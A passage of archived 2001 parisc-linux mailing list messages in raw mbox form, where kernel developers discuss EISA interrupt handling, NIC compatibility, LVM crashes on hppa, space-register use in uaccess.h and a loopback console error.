Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 203DE4A05
	for <parisc-linux@parisc-linux.org>; Wed, 10 Oct 2001 11:40:14 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA19917;
	Wed, 10 Oct 2001 11:36:17 -0600
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Wed, 10 Oct 2001 15:28:07 BST." <20011010152807.C24923@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:12569

> Instead of generating a PCI/EISA interrupt, generate a write of an
> allocated value to the CPU's EIRR (External Interrupt register).

Correct. That's what txn_alloc_irq() is for.
That interface needs to change slightly if someone really wants to start
using it on a broad range of platforms and busses. FWIW, this could
work on any platform which a "local SAPIC" (ie IA64).

> This way, the CPU jumps straight to the scsi chip's interrupt handler
> rather than Asp's, which then has to decode which Asp IRQ it was;
> then jump to the EISA interrupt handler, decode which EISA IRQ it was,
> finally calling the scsi interrupt handler.

excalty - this also cuts out a bunch of IO space reads (and possibly writes).

> We might need to work out some other infrastructure to handle this,
> but it's something we should look into at some point.  Clearly I need
> to get EISA interrupts working anyway :-)

I think all the needed functions are in place already.

grant




From - Thu Nov 08 21:19:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] b132l pci question
Date: Wed, 10 Oct 2001 21:15:33 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <20011010191607.E0EF14A1B@dsl2.external.hp.com>
References: <200110101711.LAA19860@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620602 27742 80.91.229.3 (22 Nov 2014 01:43:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>,
	Sonny Cook <sonny@aspersion.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 13:16:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id E0EF14A1B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Oct 2001 13:16:07 -0600 (MDT)
Original-Received: (qmail 23349 invoked by uid 0); 10 Oct 2001 19:16:05 -0000
Original-Received: from pd9040d34.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.13.52)
  by mail.gmx.net (mp002-rz3) with SMTP; 10 Oct 2001 19:16:05 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <200110101711.LAA19860@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12570

> >   Are there cards which are know to work, specifically, I am
> > interested in wunning extra nics in it.
>
> Yes - Tulip 100BT and all Symbios SCSI wun just fine. :^)

I've also got AMD Lance (pcnet32) and RTL8139 based NIC cards
to work fine too.

Helge




From - Thu Nov 08 21:19:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Thu, 11 Oct 2001 02:40:10 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20011011024010.C13932@parcelfarce.linux.theplanet.co.uk>
References: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk> <20011010134526.F11105@linuxcare.com> <20011010152807.C24923@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620602 27743 80.91.229.3 (22 Nov 2014 01:43:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:22 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 19:40:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD61349A3
	for <parisc-linux@parisc-linux.org>; Wed, 10 Oct 2001 19:40:12 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15rUpW-0003RZ-00; Thu, 11 Oct 2001 02:40:10 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011010152807.C24923@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Oct 10, 2001 at 03:28:07PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12571

On Wed, Oct 10, 2001 at 03:28:07PM +0100, Matthew Wilcox wrote:
> I haven't written that code yet.  Basically, I need to allocate a new IRQ
> region for EISA interrupts, then on receipt of Asp irq 21 read the EISA
> interrupt number from 0xfc01f000.  It seems there may be some extra gunk
> needed to handle the TI chipset, but I'll have a go at getting interrupts
> to work later today.

Turns out it's unsufferably ugly to do this right now, due to Mongoose
being a _sibling_ of Asp, not a _child_.  So I've put a nasty patch at
ftp://puffin.external.hp.com/pub/parisc/src/eisa-irq.c which works enough
that it seems to claim the IRQs; but the hp100 driver just allocates
IRQ3 and doesn't allow any kind of fixup, so I haven't actually tested it.

I have a plan to allocate Mongoose's IRQ in a nicer way, but that will
have to wait until tomorrow.  What do you think the best way would be
to fix EISA card IRQs?  I have a couple of thoughts:

 * Introduce a new EISA_IRQ_BASE macro that most architectures
   define to 0.
 * Reserve IRQ region 0 for EISA

Any better ideas?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Wed, 10 Oct 2001 21:56:44 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <200110110356.VAA21437@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620602 27744 80.91.229.3 (22 Nov 2014 01:43:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:22 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 22:01:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7653B496A
	for <parisc-linux@parisc-linux.org>; Wed, 10 Oct 2001 22:01:32 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id VAA21437;
	Wed, 10 Oct 2001 21:56:44 -0600
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Thu, 11 Oct 2001 02:40:10 BST." <20011011024010.C13932@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:12572

Matthew Wilcox wrote:
> I have a plan to allocate Mongoose's IRQ in a nicer way, but that will
> have to wait until tomorrow.  What do you think the best way would be
> to fix EISA card IRQs?  I have a couple of thoughts:
> 
>  * Introduce a new EISA_IRQ_BASE macro that most architectures
>    define to 0.

I don't know what other archs do or how hard that would be to drive
into the other arches.

>  * Reserve IRQ region 0 for EISA

reserve IRQ region 0 for EISA.
It's reserved now to catch broken PCI drivers that treat the IRQ number
as a byte instead of an int. So for machines w/o EISA, it could
continue to remain reserved for that purpose.

grant




From - Thu Nov 08 21:19:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EISA changes broke SuckyIO
Date: Thu, 11 Oct 2001 06:46:08 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20011011064608.A25868@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620603 27750 80.91.229.3 (22 Nov 2014 01:43:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:23 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 23:46:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BE584983
	for <parisc-linux@parisc-linux.org>; Wed, 10 Oct 2001 23:46:26 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15rYfY-0006jz-00
	for parisc-linux@parisc-linux.org; Thu, 11 Oct 2001 06:46:08 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12573

The recent changes (-pa46 or so) which I made to support EISA have
broken SuckyIO-based boxes -- everything from the B1000 to J7000.
This will get fixed tomorrow.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Thu, 11 Oct 2001 09:15:00 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20011011091500.I11105@linuxcare.com>
References: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk> <20011010134526.F11105@linuxcare.com> <20011010152807.C24923@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620603 27753 80.91.229.3 (22 Nov 2014 01:43:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:23 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 02:14:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B8EB4857
	for <parisc-linux@parisc-linux.org>; Thu, 11 Oct 2001 02:14:04 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 717CBB00C; Thu, 11 Oct 2001 09:15:00 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20011010152807.C24923@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Oct 10, 2001 at 03:28:07PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:12574

On Wed, Oct 10, 2001 at 03:28:07PM +0100, Matthew Wilcox wrote:
> Alternatively, we could hack the 53c710 script to generate CPU interrupts
> directly :-)  Let me just document how that would work (Grant, please
> correct me if I misunderstood):
> 
> Instead of generating a PCI/EISA interrupt, generate a write of an
> allocated value to the CPU's EIRR (External Interrupt register).
> This way, the CPU jumps straight to the scsi chip's interrupt handler
> rather than Asp's, which then has to decode which Asp IRQ it was;
> then jump to the EISA interrupt handler, decode which EISA IRQ it was,
> finally calling the scsi interrupt handler.

If we make the scsi script do that, the scsi chip wont realise it
has generated an interrupt, so wont stop processing scripts.  The
driver expects th chip to be halted when the int handler is called.
If we had a driver specific to the 53c710 where the scsi script managed
queues of requests itself, there might be scope for emulating an
INTFLY instruction (which is found on newer chips) that way.  The
53c700 doesn't have the capability of writing memory locations from
script.

Richard





From - Thu Nov 08 21:19:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Soete Joel <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: LVM 1.0.1-rc4 on hppa
Date: Thu, 11 Oct 2001 08:32:42 +0000
Lines: 60
Approved: news@gmane.org
Message-ID: <3BC5592A.A34A2AB5@freebel.net>
References: <1002553729.3bc1c18187924@webmail.tiscalinet.be> <20011008162234.D28880@parcelfarce.linux.theplanet.co.uk> <1002556397.3bc1cbed99e0b@webmail.tiscalinet.be> <20011008173620.I3745@parcelfarce.linux.theplanet.co.uk> <1002618541.3bc2bead27af0@webmail.tiscalinet.be> <1002636400.3bc30470260b3@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620603 27756 80.91.229.3 (22 Nov 2014 01:43:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:23 +0000 (UTC)
To: joel.soete@freebel.net, Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 02:26:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id EBFBC48BD
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 02:26:47 -0600 (MDT)
Original-Received: from ppp-151-36-119.tiscalinet.be ([213.151.36.120] helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 15rbAp-0005fE-00; Thu, 11 Oct 2001 10:26:35 +0200
Original-Sender: jso@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.9-evms-0.2.0 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12575

I also try to work with gdb and efence but it does not seems to work:
I re-link LVM (with -O2) tools with libefence then launch gdb.
At gdb prompt I type in "set environment LD_PRELOAD=libefence.so.0.0"
then "run".
But the message of the load of efence does not appears?
And run failled on Segmentation fault without any diagnostic of efence.
I think it is not the right way to work: if in command line I do "export
LD_PRELOAD=libefence.so.0.0" then launch "mkdir toto" the message of
efence load appears well?

Does it exist some where some HOWTO explaining the actual way to use
efence?

Joel


joel.soete@freebel.net wrote:
> 
> Quoting joel.soete@freebel.net:
> 
> > Quoting Matthew Wilcox <willy@debian.org>:
> >
> > > On Mon, Oct 08, 2001 at 06:39:17PM +0200,
> > hgrothe@mathematik.tu-darmstadt.de
> > wrote:
> > > > I guess :-) that you compiled the lvm-tools with optimization. Since
> >
> > > > there seems to be a general problem with the lvm-tools and gcc3
> > (appears
> > > > also on other architectures (see lvm mailing list)) recompile the
> > > > lvm-tools without optimisation or "weak" optimisation (-O0).
> >
> > The all LVM-HOWTO test seems to works fine if change -O2 to -O0 into
> > make.tmpl.
> >
> > > -O0 is no optimisation, -O1 is weak optimisation and -O2 is most
> > > optimisations.  This is normally a bug in the code, not the
> > compiler...
> >
> > I thinks so too.
> > I will try now to recompile with -O2 and -ggdb to try to have a better
> > idea.
> 
> ddd (as well gdb) failed on message:
> 0x4015dc88 in mocount () from /lib/libc.so.6
> 
> into call lvm_dont_interrupt (0);
> 
> which is a "simple loop on s" calling 'signal(s,SIG_IGN)' if s is not SIGKILL.
> 
> What could be broken?
> 
> Thanks again for help,
>         joel
> 
> -------------------------------------------------
> This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:19:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a todo entry
Date: Thu, 11 Oct 2001 05:52:59 -0400
Lines: 57
Approved: news@gmane.org
Message-ID: <200110110952.FAA31633@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620604 27761 80.91.229.3 (22 Nov 2014 01:43:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 03:53:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0910149CD
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 03:53:15 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id FAA31633
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 05:52:59 -0400
Content-ID: <31628.1002793979.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12576

Hi!

Matthew Wilcox wrote:

> #define KERNEL_DS 0
> #define USER_DS mfsp(3)
> #define get_ds() (KERNEL_DS)
> #define get_fs() mfsp(2)
> #define set_fs(x) mtsp(x, 3)

I've been looking at it for the last two days and I still
cannot understand it :-). Why do You want set_fs to write to
sr3? If set_fs changes sr3, but we access memory in 
__get_user and __set_user using sr2, it is not going to work
(I think). By now I'm pretty convinced that set_fs should
operate on sr2 (which is supported by John's post). IMHO,
sr2 should behave like that (just a summary of what was said
before):

a) In userspace sr2 is always 0, so that everybody can make 
   their syscals.
b) sr2 is set to sr3 when we enter the kernel.
c) get_fs returns sr2 and set_fs sets sr2, so that we can
   always use sr2 as the space in __get_user/__set_user
d) When we return to userspace from the kernel, sr2 is
   set to 0 again.

While modification of uaccess.h to satisfy c) is more or less
trivial, real problem for me is b) and d). I'm not quite sure, 
where to look for these entries and returns? I would guess, 
entry.S is the right place, but obviously I didn't RTFM enough to
hack it yet.

Another thing which confuses me a lot is a way the exception
table is constructed in __get_kernel_asm/__get_user_asm:

"\t.section __ex_table,\"a\"\n"        \
"\t.dword\t1b\n"                       \
"\t.dword\t(2b-1b)+3\n"                \
"\t.previous"  

What is the function of this "+3" thing? If 2b and 1b are the
word-aligned addresses of the instructions (which, I think,
they are), this does not make much sense. When the instruction
at 1b fails, it will try to skip (2b-1b)+3 bytes, which is
7, if 1b and 2b refer to subsequent instructions. In other
places it is just (2b-1b), which is perfectly understandable. 
It would be great, if someone could explain it.

Best regards,

Jurij.






From - Thu Nov 08 21:19:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: hgrothe@mathematik.tu-darmstadt.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: LVM 1.0.1-rc4 on hppa
Date: Mon, 8 Oct 2001 18:39:17 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20011008183917.A15822@mathematik.tu-darmstadt.de>
References: <1002553729.3bc1c18187924@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620604 27765 80.91.229.3 (22 Nov 2014 01:43:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:24 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 04:52:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver1.hrz.tu-darmstadt.de (mailserver1.hrz.tu-darmstadt.de [130.83.126.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id ACAD0482F
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 04:52:03 -0600 (MDT)
Original-Received: from fb04281.mathematik.tu-darmstadt.de (fb04281.mathematik.tu-darmstadt.de [130.83.2.21])
	by mailserver1.hrz.tu-darmstadt.de (8.9.1a/8.9.1) with ESMTP id SAA26784;
	Mon, 8 Oct 2001 18:35:27 +0200 (MET DST)
Original-Received: from fb0482.mathematik.tu-darmstadt.de (dummy82.mathematik.tu-darmstadt.de [130.83.2.82])
	by fb04281.mathematik.tu-darmstadt.de (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA02414;
	Mon, 8 Oct 2001 18:39:17 +0200
X-Authentication-Warning: fb04281.mathematik.tu-darmstadt.de: Host dummy82.mathematik.tu-darmstadt.de [130.83.2.82] claimed to be fb0482.mathematik.tu-darmstadt.de
Original-Received: (from grothe@localhost)
	by fb0482.mathematik.tu-darmstadt.de (8.9.3/8.9.3/Debian 8.9.3-21) id SAA15837;
	Mon, 8 Oct 2001 18:39:17 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1002553729.3bc1c18187924@webmail.tiscalinet.be>; from joel.soete@freebel.net on Mon, Oct 08, 2001 at 05:08:49PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12577

On Mon, Oct 08, 2001 at 05:08:49PM +0200, joel.soete@freebel.net wrote:
> 
> I just co the last cvs of kernel 2.4.9-pa42 and everything seems to work find as 
> well as on model 712 as on model B180.
> 
> Then I try to have a look into LVM (last 1.0.1-rc4)on the B180:
> no error at compile time neither for kernel neither for tools (just warning: 
> pv_read_all_pv_of_vg.c:129: warning: deprecated use of label at end of compound 
> statement)
> 
> Then I try first to do a 'pvcreate /dev/sdb' which failed:
> vpcreate -- ERROR: "/etc/lvmtab" doesn't exist; please run vgscan
> 
> Also I excute 'vgscan':
> Segmentation fault.
>
lvm-1.0.1-rc4 (as well as lvm-1.0.1-rc2) works fine for me on various
2.4.9-paXX kernels including 2.4.9-pa42 (see below).

I guess :-) that you compiled the lvm-tools with optimization. Since 
there seems to be a general problem with the lvm-tools and gcc3 (appears 
also on other architectures (see lvm mailing list)) recompile the 
lvm-tools without optimisation or "weak" optimisation (-O0).

HTH, Holger

$ uname -a
Linux fb0483 2.4.9-pa42 #1 Mon Oct 8 14:07:25 CEST 2001 parisc unknown
$ df
Filesystem           1k-blocks      Used Available Use% Mounted on
/dev/sda3               126916     51947     68413  44% /
/dev/vg00/lvol1         507748     70439    411095  15% /var
/dev/vg00/lvol2        3096336   2563960    375092  88% /usr
/dev/vg00/lvol3         253871     55726    185038  24% /home
/dev/vg00/lvol4          87261     65674     17082  80% /usr/local
/dev/vg01/lvol1        1052632    125496    927136  12% /work 

-- 
Holger Grothe  (Email: hgrothe@mathematik.tu-darmstadt.de)
Fachbereich Mathematik, TU Darmstadt




From - Thu Nov 08 21:19:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] bad loopback error msg
Date: Thu, 11 Oct 2001 13:00:36 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <1A8904C3797ED411AC2E0008C7E6F88117C9EF@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620604 27767 80.91.229.3 (22 Nov 2014 01:43:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:24 +0000 (UTC)
To: "'Grant Grundler'" <grundler@puffin.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 05:01:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from relay1.alcatel.be (alc119.alcatel.be [195.207.101.119])
	by dsl2.external.hp.com (Postfix) with ESMTP id 899D0482F
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 05:01:19 -0600 (MDT)
Original-Received: from nlntadn.ats.nld.alcatel.nl (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id f9BB0do10422;
	Thu, 11 Oct 2001 13:00:39 +0200 (MET DST)
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2650.21)
	id <RRCPQF5A>; Thu, 11 Oct 2001 13:00:38 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:12578

Got exactly the same on 712/100 (STI).
After I did: "ifconfig lo down" those messages did clobber my screen again
Perhaps a overkill, but it works..

Hans

	-----Original Message-----
	From:	Grant Grundler [SMTP:grundler@puffin.external.hp.com]
	Sent:	Tuesday, October 09, 2001 2:20 AM
	To:	parisc-linux@lists.parisc-linux.org
	Subject:	[parisc-linux] bad loopback error msg

	Hi,

	Helped someone install 0.9.2 on a B180 (serial console) and
following
	the instructions, basically got it up and running.  He needed some
help
	with setting up apt (pointing to HP internal mirror).

	But I couldn't figure out what was causing the following error msg
	to get printed on the console every minute or so:

	    ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
	    skb: pf=2 (unowned) dev=lo len=328
	    PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000
T=16

	Any ideas?

	This B180 is up-to-date but still running 2.4.0-32 vmlinux
	(original kernels from 0.9.2 I think).

	grant


	_______________________________________________
	parisc-linux mailing list
	parisc-linux@lists.parisc-linux.org
	http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:19:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Thu, 11 Oct 2001 12:23:51 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20011011122351.L11105@linuxcare.com>
References: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk> <20011010134526.F11105@linuxcare.com> <20011010152807.C24923@parcelfarce.linux.theplanet.co.uk> <20011011024010.C13932@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620604 27768 80.91.229.3 (22 Nov 2014 01:43:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:24 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 05:23:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC63C482A
	for <parisc-linux@parisc-linux.org>; Thu, 11 Oct 2001 05:23:07 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 7F704B00C; Thu, 11 Oct 2001 12:23:51 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20011011024010.C13932@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Thu, Oct 11, 2001 at 02:40:10AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:12579

On Thu, Oct 11, 2001 at 02:40:10AM +0100, Matthew Wilcox wrote:
> Turns out it's unsufferably ugly to do this right now, due to Mongoose
> being a _sibling_ of Asp, not a _child_.  So I've put a nasty patch at
